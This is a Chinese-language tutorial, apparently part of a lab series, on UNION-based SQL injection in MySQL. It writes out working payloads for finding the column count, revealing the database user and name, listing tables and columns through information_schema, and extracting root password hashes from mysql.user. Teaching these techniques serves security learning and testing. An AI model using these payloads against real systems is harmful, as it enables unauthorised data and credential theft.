4000-618-418

SQL注入之联合查询(sql建立联合索引)

2021年03月29日

POST型注入和Cookie注入需要插件和工具才可进行,联合查询注入对插件工具也用得相当多,可以在URL中提交SQL语句,也可以在表单提交


联合查询相当于把其他表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入——由前面实验可知这是字符型注入,因此闭合前面的单引号、构造联合注入语句,输入1'order by 1#页面正常,然后输入1'order by 2#、依次增加,直到3时出现错误。

如图,说明当前表有2

图片1.jpg

构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#

图片2.jpg

构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#

图片3.jpg

每个MySQL数据库中都有数据库mysqlinformation,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#

查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#

查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#

查询MySQLroot用户和密码hash值:'union select user,authentication_string from mysql.user#,如图:

图片4.jpg


上一篇:SQL注入之基于bool的盲注(sql注入详解)

下一篇:SQL注入之基于时间的盲注(sql注入 时间注入)